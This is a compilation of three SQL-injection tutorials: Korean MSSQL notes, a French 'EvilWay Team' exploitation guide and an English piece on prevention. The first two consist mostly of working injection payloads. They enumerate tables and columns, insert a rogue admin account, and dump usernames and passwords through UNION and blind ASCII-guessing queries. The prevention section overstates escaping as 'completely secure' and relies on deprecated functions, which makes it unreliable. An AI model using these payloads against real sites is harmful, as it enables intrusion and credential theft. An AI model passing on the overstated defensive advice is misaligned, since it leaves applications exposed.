Introduction_to_SQL_injection.pdf

--drop table users
create table users ( id int,
    username varchar(255),
    password varchar(25),
    privs int );

insert into users values (0, 'admin', '1234', 0xffff)
insert into users values (0, 'guest', 'guest', 0x0000)
insert into users values (0, 'chris', 'password', 0x00ff)
insert into users values (0, 'fred', 'sesame', 0x00ff)

--1 : 테이블명 알아내기(having)
select * from users where username='' having 1=1-- and password = ''

--2 : 필드명 알아내기(group by)
select * from users where username='' group by users.id having 1=1-- and password=''
select * from users where username='' group by users.id, users.username having 1=1-- and password=''
select * from users where username='' group by users.id, users.username, users.password having 1=1-- and password=''
select * from users where username='' group by users.id, users.username, users.password, users.privs having 1=1-- and password=''

--3 : 필드타입 알아내기(union)
select * from users where username='' union select sum(username) from users-- and password=''
select * from users where username='' union select sum(password) from users-- and password=''
select * from users where username='' union select sum(privs) from users-- and password=''

--4 : 계정만들기(insert)
select * from users where username=''; insert into users values(666,'attacker','foobar',0xffff)-- and password=''

--5 : 버전 및 환경 알아내기(@@version)
select * from users where username='' union select @@version, 1, 1, 1-- and password=''
select * from users where username='' union select 1, @@version, 1, 1-- and password=''

--6 : 계정 추출하기(type convert error)
select * from users where username='' union select min(username),1,1,1 from users where username > 'a'-- and password=''
select * from users where username='' union select min(username),1,1,1 from users where username > 'admin'-- and password=''
select * from users where username='' union select min(username),1,1,1 from users where username > 'attacker'-- and password=''
select * from users where username='' union select min(username),1,1,1 from users where username > 'chris'-- and password=''
select * from users where username='' union select min(username),1,1,1 from users where username > 'fred'-- and password=''
select * from users where username='' union select min(username),1,1,1 from users where username > 'guest'-- and password=''

--7 : 계정의 패스워드 알아내기
select * from users where username='' union select password,1,1,1 from users where username='admin'-- and password=''

--8 : Transact-SQL
select * from users where username=''; begin declare @ret varchar(8000)
                                       set @ret=':'
                                       select @ret=@ret+' '+username+'/'+password from users where
                                       username > @ret
                                       select @ret as ret into foo
                                       end-- password=''
select * from users where username='' union select ret,1,1,1 from foo-- password=''

-- Blind Sql Injection

일반적인 Sql Injection 공격을 막기 위해서는 사용자가 입력한 질의에 대해 불필요한 에러페이지를
노출시키지 않는 것이 좋다.

그러나 이러한 방법 또한 최선의 선택은 아니라고 할 수 있는데, 이러한 해결방법은 바로 Bline Sql
Injection 공격을 통해 우회가 가능하다.

Blind Sql Injection이란 마치 장님이 손으로 더듬듯이, 알아내고자 하는 정보의 답변을 미리 대략적
으로 예측해서 그것이 참인지 거짓인지를 질의하고, 서버의 반응으로 참/거짓 여부를 판단하면서 참이
될때 까지 시도 함으로서 정보를 알아내는 방법이다.

이 방법을 통하여 데이터베이스의 테이블 이름, 컬럼 이름 등의 정보를 알아내는 것이 가능하다.

Detecting to Blind Sql Injection

공격을 하기 전에, 해당 페이지에 취약점이 존재하는지 확인하는 작업이 필요하다.

* 서버측 쿼리문
strSQL="select user_id, name, user_pw from member where user_id='"&id&"' and user_pw='"&password&"'

* 정상 질의
http://victim.co.kr/member/member_login_check.asp?user_id=hacker&user_pw=1234

* 취약점 테스팅 질의
http://victim.co.kr/member/member_login_check.asp?user_id=hacker&user_pw=1234' and 1=1--

만약 위 질의의 결과가 같다면 Blind Sql Injection에 취약하다고 볼 수 있다. 이제 Blind Sql Injection에
취약한 어플리케이션에 and 1=1 대신 참/거짓을 구별할 수 있는 쿼리문을 삽입하면 되며, 이때 데이터베이스가
이전과 같은 결과값을 출력하는지(참), 아니면 값을 출력하지 않는지(거짓)를 통해 자신의 입력한 내용이
참인지 거짓인지를 쉽게 판별할 수 있다.

이와같은 방법으로 참/거짓의 여부에 따라 예측내용을 조금씩 바꾸어서 질의하는 과정을 반복함으로써
최종적으로는 정확한 값을 알아낼 수 있게 되는 것이다. 그러나, Blind Sql Injection의 경우
수작업으로하기에는 무리가 따르며, 주로 자동화된 툴을 사용하여 공격을 하게 된다

[FRENCH] Full SQL injection Tutorial Par Moudi - EvilWay Team ( MySQL )

*** Sommaire ***

__________
Chapitre I)
__________

0) Description : SQL INJECTION.
1) Comment reconnaitre qu'un site est vulnérable a un SQL ?
2) Trouver le nombre de colomns.
3) Utiliser la fonction UNION.
4) Trouver la version du MySQL.
5) Trouver les noms des colomns et tables et l'exploitation.

__________
Chapitre II)
__________

1) Description : Blind SQL INJECTION.
2) Comment reconnaitre qu'un site est vulnérable au BLIND SQL ?
3) Trouver la version du MySQL.
4) Tester si la sélection marche.
5) Trouver les noms des colomns et tables et l'exploitation.


-----------------------------
>>>>>>>>>>>>>>>>>>>>>>>>>>>>
-----------------------------

>> Passons aux choses sérieuses maintenant...

__________
Chapitre I)
__________

0) Description : SQL INJECTION.

Le SQL INJECTION est l'une des communes les plus vulnérables dans les applications type " web " de nos jours.
Il permet d'exécuter la requête dans la base de données et d'avoir grace a l'url a certains renseignements confidentiels et bien d'autres...

=============> 

1) Comment reconnaitre qu'un site est vulnérable a un SQL ?

Commencons ce tuto en force !
Prénons un exemple d'un site par exemple:

http://www.site-exemple.com/news.php?id=9
Maintenant, il faudra tester si ce site est vulnérable par SQL, c'est simple , nous ajoutons un ' ( quote ) et donc l'exemple deviendra :
http://www.site-exemple.com/news.php?id=9' <= quote ajouter !

Maintenant, si vous appercevez une erreur du genre:
"You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right etc..."

Ou une erreur de cet exemple, cela signifie que ce site est vulnérable par SQL. ^^

=============> 

2) Trouver le nombre de columns.

Pour trouver le nombre de columns , on utilisera " ORDER BY " qui demande a la base un résultat.

Donc maintenant, comment on utilise cela? Eh bien simplement augmenter le nombre jusqu'à ce que nous obtenons une erreur comme dans l'exemple ci-dessous:

http://www.site-exemple.com/news.php?id=9 order by 1/* <-- no error

http://www.site-exemple.com/news.php?id=9 order by 2/* <-- no error

http://www.site-exemple.com/news.php?id=9 order by 3/* <-- no error

http://www.site-exemple.com/news.php?id=9 order by 4/* <-- error (une erreur du genre: Unknown column '4' in 'order clause' ou un truc de ce genre s'affichera)
	
Cela signifie que l'on dispose de 3 colonnes, car nous avons reçu une cause d'erreur sur 4.

=============> 

3) Utiliser la fonction UNION.

Passons aux choses un peux plus dure..
Avec la fonction UNION, nous avons la possibilité de sélectionner plusieurs données en un seul SQL a la fois.
Donc nous aurons:
http://www.site-exemple.com/news.php?id=9 union all select 1,2,3/* (nous avons deja trouver que le nombre de column est bien 3 , revoir la section (Chapitre I , cours : 2). )

si nous voyons quelques chiffres sur l'écran, c'est-à-dire 1 ou 2 ou 3 alors l'union a fonctionné.
Si cela ne fonctionne pas , essayer de changer le /* par -- 

=============> 

4) Trouver la version du MySQL.
Disons que nous avons le numero 2 , maintenant il faudra connaitre la version MySQL , pour cela nous allons remplacer le numero 2 par @@version ou version() et nous aurons quelques choses du genre: 4.1.33-log or 5.0.45 ou du meme type...

alors l'exemple sera:
http://www.site-exemple.com/news.php?id=9 union all select 1,@@version,3/*
Bingo , la version du MySQL est devant vos yeux :)

=============> 

5) Trouver les noms des columns et tables et l'exploitation.

Maintenant si la version est < 5 ( 4.1.33, 4.1.12...) , vous devez savoir que les noms de table commun pour cette version sont: user/s , admin/s , member/s .........
pour les columns c'est: username , user, usr, user_name, password, pass, passwd, pwd ....

Passons a son exploitation:

Cherchons la table d'admin:

http://www.site-exemple.com/news.php?id=9 union all select 1,2,3 from admin/*
Si vous appercevez le numero 2 , alors cela signifie que vous venez de trouver la table d'admin et qu'il existe...

Cherchons les noms des columns:

http://www.site-exemple.com/news.php?id=9 union all select 1,username,3 from admin/* (si vous avez une erreur ici , alors essayer un autre nom de column)
Si nous avons le nom d'utilisateur qui s'affiche à l'écran, par exemple, être admin ou superadmin etc alors c'est bon...

Maintenant pour la column de mot de passe,

http://www.site-exemple.com/news.php?id=9 union all select 1,password,3 from admin/* (si vous avez une erreur ici , alors essayer un autre nom de column)
Si nous avons le password a l'écran du type hash ou sans, alors c'est bon, le type varie en fonction de la base de donnée

Il ne reste donc plus qu'a les mettre ensemble avec 0x3a , qui est une valeur de hex pour la colonne.

http://www.site-exemple.com/news.php?id=9 union all select 1,concat(username,0x3a,password),3 from admin/*

Vous allez voir quelques choses du genre:
username:password , admin:admin , admin:unhash..

=============> 
=============> 

__________
Chapitre II)
__________

1) Description : Blind SQL INJECTION.
Le blind se définit comme le sql normal sauf qu'il est un peu plus dure....

=============> 

2) Comment reconnaitre qu'un site est vulnérable au BLIND SQL ?

Prenons un exemple de:
http://www.site-exemple.com/news.php?id=9

Quand on ouvre la page , nous voyons des articles, images ou autres...
Vous pouvez donc tester le blind :

http://www.site-exemple.com/news.php?id=9 and 1=1 <--- ceci est toujours vrai !
Si la page se charge normalement , c'est bon.

http://www.site-exemple.com/news.php?id=9 and 1=2 <--- ceci est faux
Donc si quelques textes ou images ou un truc est oublié ou déformer, alors ce site est exploitable par le blind SQL.

=============> 

3) Trouver la version du MySQL.

Pour avoir la version dans le blind, nous utiliserons le " substring ".

http://www.site-exemple.com/news.php?id=9 and substring(@@version,1,1)=4
Si la page s'affiche normalement, alors c'est une version 4.

http://www.site-exemple.com/news.php?id=9 and substring(@@version,1,1)=5
Si la page s'affiche normalement, alors c'est une version 5.

=============> 

4) Tester si la sélection marche.

Quand le select ne marche pas, nous utiliserons donc le subselect.

Exemple:
http://www.site-exemple.com/news.php?id=9 and (select 1)=1

si la page se charge normalement, alors le subselect marche.
et si nous voulons voir si nous avons l'access au mysql.user , on fait:

Exemple:
http://www.site-exemple.com/news.php?id=9 and (select 1 from mysql.user limit 0,1)=1
Si la page se charge normalement, alors nous avons access au mysql.user et nous pourons avoir quelques mot de passe


en utilisant la fonction load_file() et OUTFILE.

=============> 

5) Trouver les noms des colomns et tables et l'exploitation.

Exemple:
http://www.site-exemple.com/news.php?id=9 and (select 1 from users limit 0,1)=1
Si la page se charge normalement sans erreur alors la table users existe.
Si vous obtenez une erreur , alors vous devez changer le users et mettre autre chose, a vous de devinez :D c'est un bon jeu hein...

disons que nous avons trouver la table.. maintenant nous avons besoin du nom de la colonne..
tout comme cela du nom de table, nous commencons la devinette !!

http://www.site.com/news.php?id=5 and (select substring(concat(1,password),1,1) from users limit 0,1)=1
Si la page se charge normalement, alors le nom de la colonne est password.

Ainsi , nous avons la table et la colonne , exploitons :)

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>80
Nous continuons a changer le " 80 " jusqu'a trouver une erreur, suivez bien l'exemple:

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>95
Nous avons eu une fois de plus un chargement normal.. on continue

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>98
Pareille, continuons

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>99
ERREURRR !!! donc le premier caractère dans username est char(99) si vous convertisser cela en ascii nous avons la lettre " c " .

Maintenant cherchons le second caractère:
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),2,1))>99
Noter que je change ,1,1 a ,2,1 pour avoir le second caractère

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>99
La page se charge normalement

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>107
ERREUR nombre inférieur..

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>104
Chargement normal , élevé.

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>105
ERREUR

donc nous savons des a présent que le deuxieme caractère est char(105) et que c'est 'i' , cela fera "ci" jusqu'a présent...
Faite cela en mode croissant jusqu'a ce que vous obtenez la fin. (si< 0 retourne faux, nous avons atteint la fin alors).

-----------------------------
>>>>>>>>>>>>>>>>>>>>>>>>>>>>
-----------------------------

Nous voici a la fin de ce tuto...
Si vous cherchez bien sur le net , vous pourez avoir plein de programme qui feront tout ceci , mais apprenez a le faire manuellement, c'est important :) .

Je remercie ma team ( EVILWAY )
Je remercie MizoZ, ZuKa, str0ke et tout ceux que j'ai oublié...

J'espere que ce tuto vous a aider en quelques choses...

Contact MSN: m0udi@9.cn
Second name: SixSo
Nice site that i love: http://www.opensc.ws/

# milw0rm.com [2009-07-02]

[[[[[]]]]]]]]]]] Avoiding SQL Injection By Moudi - EvilWay Team [[[[[]]]]]]]]]]]

SQL injections are among the flaws the most widespread and dangerous in PHP. 
This tutorial will explain clearly the concept of SQL Injection and how to avoid them once and for all.

--------------------------------------------------------------------

>>>>>> 
Summary of tutorial:
  I) Presentation of the problem.
     => The variables containing strings
  II)Security .
     => Explanation
     => Numeric variables
        .Method 1
        .Method 2
>>>>>> 

--------------------------------------------------------------------


I) Presentation of the problem.
   ___________________________

There are two types of SQL injection:

* Injection into the variables that contain strings;
* Injection into numeric variables.

These are two very different types and to avoid them, it will act
differently for each of these types.

######################
The variables containing strings:
######################

Imagine a PHP script that fetches the age of a member according to its
nickname. This nickname has gone from one page to another via the URL
(by $ _GET what: p). This script should look like this:

++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
...
$pseudo = $_GET['pseudo'];
$requete = mysql_query("SELECT age FROM membres WHERE pseudo='$pseudo'");
...
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++


Well keep you well, this script is a big SQL injection vulnerability.
Suffice it to a bad boy putting in place the username in the URL a query
like this:

++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
' UNION SELECT password FROM membres WHERE id=1
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++


It is to arrive to show (just an example), for example the password for
the member with the id 1. I will not explain in detail the operation for
fear that someone is not nice to walk around. Well, so let us go to the
security:).

II) Security .
_______________

To secure this type of injection is simple. You use the function
mysql_real_escape_string ().

######################
Uh ... It does what it?
######################

This feature adds the "\" character to the following characters:

++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
NULL, \ x00, \ n, \ r, \, ', "and \ X1A
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

######################
And what's the point?
######################

As you have noticed in previous injection, the attacker uses the quote
(to close the 'around $ nick): if she is prevented from doing that, the
bad boy will only have to look elsewhere . This means that if one
applies a mysql_real_escape_string () to the variable name like this ...

++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
...
$pseudo = mysql_real_escape_string($_GET['pseudo']);
$requete = mysql_query("SELECT age FROM membres WHERE pseudo='$pseudo'");
...
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

The application is completely secure.
Explanation

######################
Injection hacker to recall:
######################

++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
' UNION SELECT password FROM membres WHERE id=1
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

Well if we apply mysql_real_escape_string () to the variable $ name used
in the query is what will the injection:

++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
\' UNION SELECT password FROM membres WHERE id=1
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

This means that we do not even come out of assessments around $ nick in
the request because the \ has been added. There is another function
somewhat similar to mysql_real_escape_string () is addslashes (), why
not have used? Well recently, a security hole was discovered on this if
it is used on a PHP 4.3.9 installation with magic_quotes_gpc enabled.

######################
Numeric variables:
######################

This type of injection is less known than the previous one, making it
more frequent, and it starts as just now with an example. This time, it
displays the age of a member according to its id, and by passing it by a
form ($ _POST) to change:

++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
...
$id = $_POST['id'];
$requete = mysql_query("SELECT age FROM membres WHERE id=$id");
...
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++


mysql_real_escape_string () would be nothing here, since if an attacker
wants to inject SQL code, it will not need to use quotes, because the
variable $ id is not surrounded by quotes. Simple example of
exploitation:

++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
2 UNION SELECT password FROM membres WHERE id=1
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

This injection did exactly the same as the previous one, except that
here, to avoid it, there are two solutions:

     * Change the contents of the variable so it contains only numbers;
     * Check if the variable actually contains a number before using it in a query. 

##########
Method 1:
##########

We'll use a function , intval () This function returns regardless of the
contents of a variable its numerical value. For example:

++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
$variable = '1e10';  // $variable vaut '1e10'
$valeur_numerique = intval($variable); // $valeur_numerique vaut 1
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

Now back to our sheep:

++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
$id = intval($_POST['id']);
$requete = mysql_query("SELECT age FROM membres WHERE id=$id");
}
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

That is: you can stop there and is more than enough, but I recommend you
continue to find another method, or you have air beast if you find this
method on a code that is not yours without understand it.

############
Méthode 2:
###########

Here we use a function that returns TRUE when a variable contains only
numbers and FALSE if it is not the case this function is is_numeric (),
we will use it in a condition that checks whether is_numeric ( ) returns
TRUE well.

++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
$id = $_POST['id'];
if (is_numeric($id))
{
$requete = mysql_query("SELECT age FROM membres WHERE id=$id");
}
else
{
echo "Trying to hack me ? MOTHA FUCKAH xD";
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

##################################################################
What is the best, depending intval () and is_numeric ()?
##################################################################

Well I will say that they are both equally effective, they are equal.
But I prefer inval () since with is_numeric () write more code, and if
the variable does not contain only numbers, the request is canceled (in
principle, but of course you can run the same query by choosing an
default value for the variable used). Well that's it! You know all about
securing your applications. If you apply these methods, there is
absolutely no risk of having a fault type SQL injection on its website
(or PHP).

[»] Thanks to:  [ MiZoZ , ZuKa , str0ke , 599em Man , Security-Shell.. ]
[»] Contact MSN:[ m0udi@9.cn ]
[»] Site :      [ https://security-shell.ws/forum.php ]

# milw0rm.com [2009-07-27]